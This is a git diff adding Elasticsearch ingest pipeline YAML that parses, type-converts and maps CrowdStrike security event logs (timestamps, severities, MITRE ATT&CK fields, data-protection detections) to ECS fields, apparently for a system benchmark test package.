field: crowdstrike.ContentPatterns.MatchCount + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_ContentPatterns_MatchCount_e5886467 + field: + - crowdstrike.ContentPatterns.MatchCount + - append: + tag: append_error_message_c13d0524 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_FilesEgressedCount_to_long_0a2680d8 + field: crowdstrike.FilesEgressedCount + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_FilesEgressedCount_0df285cb + field: + - crowdstrike.FilesEgressedCount + - append: + tag: append_error_message_bc729538 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_UserNotified_to_boolean_fff533bd + field: crowdstrike.UserNotified + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_UserNotified_4d8a9089 + field: + - crowdstrike.UserNotified + - append: + tag: append_error_message_f94b1b53 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_UserMapped_to_boolean_bccf576a + field: crowdstrike.UserMapped + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_UserMapped_2143e1d5 + field: + - crowdstrike.UserMapped + - append: + tag: append_error_message_da37c64a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_IsClipboard_to_boolean_5ba67e86 + field: crowdstrike.IsClipboard + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_IsClipboard_5d478e5b + field: + - crowdstrike.IsClipboard + - append: + tag: append_error_message_0e71edc6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # timestamps + - date: + tag: date_crowdstrike_EventTimestamp_into_crowdstrike_EventTimestamp_d5f05563 + if: ctx.crowdstrike?.EventTimestamp != null + field: crowdstrike.EventTimestamp + target_field: crowdstrike.EventTimestamp + formats: + - UNIX + timezone: UTC + on_failure: + - append: + tag: append_error_message_9bb40391 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields + - date: + tag: date_crowdstrike_SessionStartTimestamp_into_event_start_f37db09c + if: ctx.crowdstrike?.SessionStartTimestamp != null + field: crowdstrike.SessionStartTimestamp + target_field: event.start + formats: + - UNIX + timezone: UTC + on_failure: + - append: + tag: append_error_message_dabedfbc + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_SessionEndTimestamp_into_event_end_98eb023b + if: ctx.crowdstrike?.SessionEndTimestamp != null + field: crowdstrike.SessionEndTimestamp + target_field: event.end + formats: + - UNIX + timezone: UTC + on_failure: + - append: + tag: append_error_message_525bb579 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: Determine event.duration from event start and end date. + tag: script_to_set_event_duration_90e6c5bc + if: ctx.event?.start != null && ctx.event.end != null + source: |- + Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant(); + Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant(); + ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end); + on_failure: + - append: + tag: append_error_message_96ed185c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # ECS mappings + - set: + tag: set_threat_framework_f92aa71d + field: threat.framework + value: MITRE ATT&CK + - set: + tag: set_event_outcome_success_99af7416 + if: ctx.crowdstrike?.ResponseAction == 'allowed' + field: event.outcome + value: success + - set: + tag: set_event_outcome_failure_f46199b1 + if: ctx.crowdstrike?.ResponseAction == 'blocked' + field: event.outcome + value: failure + - set: + tag: set_event_outcome_unknown_2820f2e9 + field: event.outcome + value: unknown + override: false + - set: + tag: set_message_from_crowdstrike_Description_705948c3 + field: message + copy_from: crowdstrike.Description + ignore_empty_value: true + - set: + tag: set_event_action_from_crowdstrike_Name_bed0a20b + field: event.action + copy_from: crowdstrike.Name + ignore_empty_value: true + - set: + tag: set_event_reference_from_crowdstrike_FalconHostLink_6d3f2710 + field: event.reference + copy_from: crowdstrike.FalconHostLink + ignore_empty_value: true + - set: + tag: set_file_hash_sha256_from_crowdstrike_ContentSha_d4ead6d6 + field: file.hash.sha256 + copy_from: crowdstrike.ContentSha + ignore_empty_value: true + - set: + tag: set_file_name_from_crowdstrike_Filename_119db8a6 + field: file.name + copy_from: crowdstrike.Filename + ignore_empty_value: true + - set: + tag: set_file_size_from_crowdstrike_DataVolume_0c0ee92d + field: file.size + copy_from: crowdstrike.DataVolume + ignore_empty_value: true + - set: + tag: set_host_name_from_crowdstrike_Hostname_eae1ab7e + field: host.name + copy_from: crowdstrike.Hostname + ignore_empty_value: true + - set: + tag: set_rule_id_from_crowdstrike_Policy_ID_e4a06110 + field: rule.id + copy_from: crowdstrike.Policy.ID + ignore_empty_value: true + - set: + tag: set_rule_name_from_crowdstrike_Policy_Name_db8e5eec + field: rule.name + copy_from: crowdstrike.Policy.Name + ignore_empty_value: true + - set: + tag: set_user_id_from_crowdstrike_UserSid_ff207491 + field: user.id + copy_from: crowdstrike.UserSid + ignore_empty_value: true + - set: + tag: set_user_name_from_crowdstrike_UserName_0d5ff858 + field: user.name + copy_from: crowdstrike.UserName + ignore_empty_value: true + - append: + tag: append_file_hash_sha256_to_related_hash_7574f0ee + if: ctx.file?.hash?.sha256 != null + field: related.hash + value: '{{{file.hash.sha256}}}' + - script: + tag: extract_file_extension_from_filename_adc57e41 + if: ctx.crowdstrike?.Filename != null + source: |- + def idx = ctx.crowdstrike.Filename.lastIndexOf('.'); + if (idx != -1) { + ctx.file = ctx.file ?: [:]; + ctx.file.extension = ctx.crowdstrike.Filename.substring(idx + 1).toLowerCase(); + } + on_failure: + - append: + tag: append_error_message_1a00ddc7 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - lowercase: + tag: lowercase_crowdstrike_Platform_into_host_os_platform_0de817b0 + field: crowdstrike.Platform + target_field: host.os.platform + ignore_missing: true + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_crowdstrike_MitreAttack_threat_tactic_name_into_Tactic_b021c3ec + field: threat.tactic.name + value: '{{{_ingest._value.Tactic}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_crowdstrike_MitreAttack_threat_tactic_id_into_TacticID_4d499747 + field: threat.tactic.id + value: '{{{_ingest._value.TacticID}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_crowdstrike_MitreAttack_threat_technique_name_into_Technique_af6387ac + field: threat.technique.name + value: '{{{_ingest._value.Technique}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_crowdstrike_MitreAttack_threat_technique_id_into_TechniqueID_70f7c093 + field: threat.technique.id + value: '{{{_ingest._value.TechniqueID}}}' + allow_duplicates: false + + # clean up + - remove: + tag: remove_custom_duplicate_fields_decaf9d0 + field: + - crowdstrike.ContentSha + - crowdstrike.DataVolume + - crowdstrike.Description + - crowdstrike.EgressEventId + - crowdstrike.FalconHostLink + - crowdstrike.Filename + - crowdstrike.Hostname + - crowdstrike.MitreAttack + - crowdstrike.Name + - crowdstrike.Platform + - crowdstrike.Policy + - crowdstrike.SessionStartTimestamp + - crowdstrike.SessionEndTimestamp + - crowdstrike.Tactic + - crowdstrike.TacticId + - crowdstrike.Technique + - crowdstrike.TechniqueId + - crowdstrike.UserSid + - crowdstrike.UserName + ignore_missing: true + + # error handling + - set: + tag: set_pipeline_error_into_event_kind_92954dfa + if: ctx.error?.message != null + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_9fe66b2c + if: ctx.error?.message != null + field: tags + value: preserve_original_event + allow_duplicates: false +on_failure: + - append: + tag: append_error_message_d1950926 + field: error.message + value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' + - set: + tag: set_pipeline_error_into_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_d762b9c5 + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..ca19104e54 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,2857 @@ +--- +description: Pipeline for processing CrowdStrike sample logs +processors: + # Message decoding. + - remove: + tag: remove_static_constant_keyword_fields_ad941c6d + field: + - ecs.version + - event.dataset + - event.module + - observer.type + - observer.vendor + ignore_missing: true + - remove: + description: Removes the fields added by Agentless as metadata, as they can collide with ECS fields. + tag: remove_agentless_metadata_44eed408 + if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String + field: + - organization + - division + - team + ignore_missing: true + - rename: + description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. + tag: rename_message_to_event_original_c74b1d7e + if: ctx.event?.original == null + field: message + target_field: event.original + ignore_missing: true + - remove: + description: The `message` field is no longer required if the document has an `event.original` field. + tag: remove_message_84808ee4 + if: ctx.event?.original != null + field: + - message + ignore_missing: true + - json: + tag: json_event_original_into_crowdstrike_d88a8a87 + field: event.original + target_field: crowdstrike + on_failure: + - append: + tag: append_error_message_4ef54c75 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - remove: + tag: remove_metadata_host_aid_and_user_sid_a4bf7be9 + field: + - metadata.host.aid + - metadata.user.UserSid_readable + ignore_missing: true + - rename: + tag: rename_metadata_to_crowdstrike_info_4a121644 + field: metadata + target_field: crowdstrike.info + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d5092d94 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_UTCTimestamp_to_long_into__temp_utc_timestamp_a18a1c5b + field: crowdstrike.UTCTimestamp + type: long + target_field: _temp.utc_timestamp + ignore_missing: true + ignore_failure: true + - date: + tag: date__temp_utc_timestamp_into_event_created_051b20f6 + if: ctx.event?.created == null && ctx._temp?.utc_timestamp instanceof long && ctx._temp.utc_timestamp < (long)1e10 + field: _temp.utc_timestamp + target_field: event.created + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_UTCTimestamp_into_event_created_7df015fc + if: ctx.event?.created == null && ctx.crowdstrike?.UTCTimestamp != null && ctx.crowdstrike.UTCTimestamp != '' && ctx.crowdstrike.UTCTimestamp != 'none' + field: crowdstrike.UTCTimestamp + target_field: event.created + formats: + - UNIX_MS + - ISO8601 + ignore_failure: true + - date: + tag: date_crowdstrike_timestamp_into_event_created_b2c980e4 + if: ctx.event?.created == null && ctx.crowdstrike?.timestamp != null && ctx.crowdstrike.timestamp != '' && ctx.crowdstrike.timestamp != 'none' + field: crowdstrike.timestamp + target_field: event.created + formats: + - UNIX_MS + - ISO8601 + ignore_failure: true + - date: + tag: date_crowdstrike_CreationTimeStamp_into_event_created_bd5c0651 + if: ctx.event?.created == null && ctx.crowdstrike?.CreationTimeStamp != null && ctx.crowdstrike.CreationTimeStamp != '' && ctx.crowdstrike.CreationTimeStamp != 'none' + field: crowdstrike.CreationTimeStamp + target_field: event.created + formats: + - UNIX + - ISO8601 + ignore_failure: true + - date: + tag: date_crowdstrike_Time_into_event_created_7e1af297 + if: ctx.event?.created == null && ctx.crowdstrike?.Time != null && ctx.crowdstrike.Time != '' && ctx.crowdstrike.Time != 'none' + field: crowdstrike.Time + target_field: event.created + formats: + - ISO8601 + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike__time_into_event_created_e003a0c5 + if: ctx.event?.created == null && ctx.crowdstrike?._time != null && ctx.crowdstrike._time != '' && ctx.crowdstrike._time != 'none' + field: crowdstrike._time + target_field: event.created + formats: + - ISO8601 + - UNIX + ignore_failure: true + - set: + tag: set_@timestamp_40ae7ab1 + if: ctx.event?.created != null + field: '@timestamp' + copy_from: event.created + - set: + tag: set_@timestamp_6b114c93 + if: ctx["@timestamp"] == null + field: '@timestamp' + copy_from: _ingest.timestamp + - script: + description: Conditionally convert BatchTimestamp from Windows NT timestamp format to UNIX + tag: script_date_BatchTimestamp_from_nt_3442e38e + source: |- + if (ctx.crowdstrike?.BatchTimestamp == null) { + return; + } + long timestamp; + if (ctx.crowdstrike.BatchTimestamp instanceof long) { + timestamp = (long)ctx.crowdstrike.BatchTimestamp; + } else if (ctx.crowdstrike.BatchTimestamp instanceof String) { + if (!ctx.crowdstrike.BatchTimestamp.contains('.')) { + timestamp = Long.parseLong(ctx.crowdstrike.BatchTimestamp); + } + } + if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. + ctx.crowdstrike.BatchTimestamp = (timestamp / 10000000) - 11644473600L; + } + - date: + tag: date_crowdstrike_BatchTimestamp_into_crowdstrike_BatchTimestamp_9ff569ce + if: ctx.crowdstrike?.BatchTimestamp != null && ctx.crowdstrike.BatchTimestamp != '' && ctx.crowdstrike.BatchTimestamp != 'none' + field: crowdstrike.BatchTimestamp + target_field: crowdstrike.BatchTimestamp + formats: + - UNIX + - script: + description: Conditionally convert BrowserExtensionInstalledTimestamp from Windows NT timestamp format to UNIX + tag: script_date_BrowserExtensionInstalledTimestamp_from_nt_486c5b00 + source: |- + if (ctx.crowdstrike?.BrowserExtensionInstalledTimestamp == null) { + return; + } + long timestamp; + if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof long) { + timestamp = (long)ctx.crowdstrike.BrowserExtensionInstalledTimestamp; + } else if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof String) { + if (!ctx.crowdstrike.BrowserExtensionInstalledTimestamp.contains('.')) { + timestamp = Long.parseLong(ctx.crowdstrike.BrowserExtensionInstalledTimestamp); + } + } + if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. + ctx.crowdstrike.BrowserExtensionInstalledTimestamp = (timestamp / 10000000) - 11644473600L; + } + - date: + tag: date_crowdstrike_BrowserExtensionInstalledTimestamp_into_crowdstrike_BrowserExtensionInstalledTimestamp_5afea043 + if: ctx.crowdstrike?.BrowserExtensionInstalledTimestamp != null && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != '' && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != 'none' + field: crowdstrike.BrowserExtensionInstalledTimestamp + target_field: crowdstrike.BrowserExtensionInstalledTimestamp + formats: + - UNIX + - script: + description: Conditionally convert ContextTimeStamp from Windows NT timestamp format to UNIX + tag: script_date_ContextTimeStamp_from_nt_37e17ed8 + if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike?.ContextTimeStamp != "" + source: |- + if (ctx.crowdstrike?.ContextTimeStamp == null) { + return; + } + long timestamp; + if (ctx.crowdstrike.ContextTimeStamp instanceof long) { + timestamp = (long)ctx.crowdstrike.ContextTimeStamp; + } else if (ctx.crowdstrike.ContextTimeStamp instanceof String) { + if (!ctx.crowdstrike.ContextTimeStamp.contains('.')) { + timestamp = Long.parseLong(ctx.crowdstrike.ContextTimeStamp); + } + } + if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. + ctx.crowdstrike.ContextTimeStamp = (timestamp / 10000000) - 11644473600L; + } + - date: + tag: date_crowdstrike_ContextTimeStamp_into_crowdstrike_ContextTimeStamp_0af2b375 + if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike.ContextTimeStamp != '' && ctx.crowdstrike.ContextTimeStamp != 'none' + field: crowdstrike.ContextTimeStamp + target_field: crowdstrike.ContextTimeStamp + formats: + - UNIX + - script: + description: Conditionally convert StartTime from Windows NT timestamp format to UNIX + tag: script_date_StartTime_from_nt_a5058c7c + source: |- + if (ctx.crowdstrike?.StartTime == null) { + return; + } + long timestamp; + if (ctx.crowdstrike.StartTime instanceof long) { + timestamp = (long)ctx.crowdstrike.StartTime; + } else if (ctx.crowdstrike.StartTime instanceof String) { + if (!ctx.crowdstrike.StartTime.contains('.')) { + timestamp = Long.parseLong(ctx.crowdstrike.StartTime); + } + } + if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. + ctx.crowdstrike.StartTime = (timestamp / 10000000) - 11644473600L; + } + - date: + tag: date_crowdstrike_StartTime_into_crowdstrike_StartTime_9501a78d + if: ctx.crowdstrike?.StartTime != null && ctx.crowdstrike.StartTime != '' && ctx.crowdstrike.StartTime != 'none' + field: crowdstrike.StartTime + target_field: crowdstrike.StartTime + formats: + - UNIX + - script: + description: Conditionally convert EndTime from Windows NT timestamp format to UNIX + tag: script_date_EndTime_from_nt_8fceb4ba + source: |- + if (ctx.crowdstrike?.EndTime == null) { + return; + } + long timestamp; + if (ctx.crowdstrike.EndTime instanceof long) { + timestamp = (long)ctx.crowdstrike.EndTime; + } else if (ctx.crowdstrike.EndTime instanceof String) { + if (!ctx.crowdstrike.EndTime.contains('.')) { + timestamp = Long.parseLong(ctx.crowdstrike.EndTime); + } + } + if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. + ctx.crowdstrike.EndTime = (timestamp / 10000000) - 11644473600L; + } + - date: + tag: date_crowdstrike_EndTime_into_crowdstrike_EndTime_403904fe + if: ctx.crowdstrike?.EndTime != null && ctx.crowdstrike.EndTime != '' && ctx.crowdstrike.EndTime != 'none' + field: crowdstrike.EndTime + target_field: crowdstrike.EndTime + formats: + - UNIX + - date: + tag: date_crowdstrike_scores_modified_time_into_crowdstrike_scores_modified_time_1bb3843a + if: ctx.crowdstrike?.scores?.modified_time != null && ctx.crowdstrike.scores.modified_time != '' && ctx.crowdstrike.scores.modified_time != 'none' + field: crowdstrike.scores.modified_time + target_field: crowdstrike.scores.modified_time + formats: + - ISO8601 + - yyyy-MM-dd'T'HH:mm:ss.SSS'Z' + on_failure: + - remove: + tag: remove_crowdstrike_scores_modified_time_b26c8439 + field: + - crowdstrike.scores.modified_time + - append: + tag: append_error_message_f822bf1a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_ChangeTime_into_crowdstrike_ChangeTime_e3e3ffa4 + if: ctx.crowdstrike?.ChangeTime != null && ctx.crowdstrike.ChangeTime != '' + field: crowdstrike.ChangeTime + target_field: crowdstrike.ChangeTime + formats: + - UNIX + on_failure: + - remove: + tag: remove_crowdstrike_ChangeTime_0874f7f6 + field: + - crowdstrike.ChangeTime + - append: + tag: append_error_message_e3a24574 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + tag: rename_crowdstrike_message_to_message_8aaa4841 + field: crowdstrike.message + target_field: message + ignore_missing: true + - rename: + tag: rename_crowdstrike_event_type_to_crowdstrike_EventType_0f2370ba + if: ctx.crowdstrike?.EventType == null + field: crowdstrike.event_type + target_field: crowdstrike.EventType + ignore_missing: true + - rename: + tag: rename_crowdstrike_host_hidden_status_to_crowdstrike_HostHiddenStatus_7d1ffcb7 + if: ctx.crowdstrike?.HostHiddenStatus == null + field: crowdstrike.host_hidden_status + target_field: crowdstrike.HostHiddenStatus + ignore_missing: true + - convert: + tag: convert_crowdstrike_scores_os_to_long_680c0a21 + field: crowdstrike.scores.os + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_scores_os_73ce1ec6 + field: + - crowdstrike.scores.os + ignore_missing: true + - append: + tag: append_error_message_6d576da7 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_scores_overall_to_long_5858a4c8 + field: crowdstrike.scores.overall + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_scores_overall_a59f0dd4 + field: + - crowdstrike.scores.overall + ignore_missing: true + - append: + tag: append_error_message_b2d1d828 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_scores_sensor_to_long_907f0ea9 + field: crowdstrike.scores.sensor + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_scores_sensor_ef9c1c3a + field: + - crowdstrike.scores.sensor + ignore_missing: true + - append: + tag: append_error_message_68deb51f + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # Non-sensor Events + - pipeline: + tag: pipeline_data_protection_detection_summary_cd21f5a1 + if: ctx.crowdstrike?.ExternalApiType == 'Event_DataProtectionDetectionSummaryEvent' + name: '{{ IngestPipeline "data_protection_detection_summary" }}' + - pipeline: + tag: pipeline_epp_detection_summary_b611643c + if: ctx.crowdstrike?.ExternalApiType == 'Event_EppDetectionSummaryEvent' + name: '{{ IngestPipeline "epp_detection_summary" }}' + # File Integrity Monitor Rule Matched events + - pipeline: + tag: pipeline_fim_rule_matched_33f5a923 + if: ctx.crowdstrike?.ExternalApiType == 'Event_FileIntegrityMonitorRuleMatchedEnriched' || ctx.crowdstrike?.event_simpleName == 'FileIntegrityMonitorRuleMatched' + name: '{{ IngestPipeline "fim_rule_matched" }}' + + # Handle case changes. + - rename: + tag: rename_crowdstrike_GrandParentCommandLine_to_crowdstrike_GrandparentCommandLine_1958890d + field: crowdstrike.GrandParentCommandLine + target_field: crowdstrike.GrandparentCommandLine + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_GrandParentImageFileName_to_crowdstrike_GrandparentImageFileName_51e07871 + field: crowdstrike.GrandParentImageFileName + target_field: crowdstrike.GrandparentImageFileName + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_GrandParentImageFilePath_to_crowdstrike_GrandparentImageFilePath_7028d291 + field: crowdstrike.GrandParentImageFilePath + target_field: crowdstrike.GrandparentImageFilePath + ignore_missing: true + ignore_failure: true + + # Assign severities to conform to security rules values + # + # 21 = Low + # 47 = Medium + # 73 = High + # 99 = Critical + # + # Leave crowdstrike values in place, since they have their own semantics. + - convert: + tag: convert_crowdstrike_alert_severity_to_long_306bc9b0 + if: ctx.crowdstrike?.alert?.severity != null && !(ctx.crowdstrike.alert.severity instanceof long) + field: crowdstrike.alert.severity + type: long + on_failure: + - remove: + tag: remove_crowdstrike_alert_severity_cc99ae7c + field: + - crowdstrike.alert.severity + - append: + tag: append_error_message_4c7cf4a0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: Script to set event.severity. + tag: script_set_crowdstrike_alert_severity_b187cbc2 + if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severityName == null + source: |- + long severity = ctx.crowdstrike.alert.severity; + if (0 <= severity && severity < 20) { + ctx.crowdstrike.alert.severityName = "info"; + } if (20 <= severity && severity < 40) { + ctx.crowdstrike.alert.severityName = "low"; + } if (40 <= severity && severity < 60) { + ctx.crowdstrike.alert.severityName = "medium"; + } if (60 <= severity && severity < 80) { + ctx.crowdstrike.alert.severityName = "high"; + } if (80 <= severity && severity <= 100) { + ctx.crowdstrike.alert.severityName = "critical"; + } + on_failure: + - append: + tag: append_error_message_06556072 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + tag: script_set_event_severity_c715a67f + if: ctx.crowdstrike?.SeverityName instanceof String + source: |- + ctx.event = ctx.event ?: [:]; + String name = ctx.crowdstrike.SeverityName; + if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) { + ctx.event.severity = 21; + } else if (name.equalsIgnoreCase("medium")) { + ctx.event.severity = 47; + } else if (name.equalsIgnoreCase("high")) { + ctx.event.severity = 73; + } else if (name.equalsIgnoreCase("critical")) { + ctx.event.severity = 99; + } + on_failure: + - append: + tag: append_error_message_6dd43c3d + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # EppDetectionSummaryEvent renames + - rename: + tag: rename_crowdstrike_Hostname_to_crowdstrike_ComputerName_91445a54 + field: crowdstrike.Hostname + target_field: crowdstrike.ComputerName + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_LogonDomain_to_crowdstrike_MachineDomain_b6659adb + field: crowdstrike.LogonDomain + target_field: crowdstrike.MachineDomain + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_AgentId_to_crowdstrike_SensorId_c933741c + field: crowdstrike.AgentId + target_field: crowdstrike.SensorId + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Name_to_crowdstrike_DetectName_6008d35c + field: crowdstrike.Name + target_field: crowdstrike.DetectName + ignore_missing: true + ignore_failure: true + + # Handle additional added fields. + - date: + tag: date_crowdstrike_FirstDiscoveredDate_into_crowdstrike_FirstDiscoveredDate_612798da + if: ctx.crowdstrike?.FirstDiscoveredDate != null && ctx.crowdstrike.FirstDiscoveredDate != '' && ctx.crowdstrike.FirstDiscoveredDate != 'none' + field: crowdstrike.FirstDiscoveredDate + target_field: crowdstrike.FirstDiscoveredDate + formats: + - UNIX + - convert: + tag: convert_crowdstrike_CurrentLocalIP_to_ip_a98b1595 + if: ctx.crowdstrike?.CurrentLocalIP != null && ctx.crowdstrike?.CurrentLocalIP != '' + field: crowdstrike.CurrentLocalIP + type: ip + - convert: + tag: convert_crowdstrike_aipCount_to_integer_ad6bba60 + if: ctx.crowdstrike?.aipCount != null && ctx.crowdstrike?.aipCount != '' + field: crowdstrike.aipCount + type: integer + - convert: + tag: convert_crowdstrike_discovererCount_to_integer_16ff8e6a + if: ctx.crowdstrike?.discovererCount != null && ctx.crowdstrike?.discovererCount != '' + field: crowdstrike.discovererCount + type: integer + - convert: + tag: convert_crowdstrike_localipCount_to_integer_97885158 + if: ctx.crowdstrike?.localipCount != null && ctx.crowdstrike?.localipCount != '' + field: crowdstrike.localipCount + type: integer + + # AWS S3 input does _id-Based Deduplication and generates "_id" by default. + # When "Data Deduplication" is not enabled, this field must be removed. + # https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation 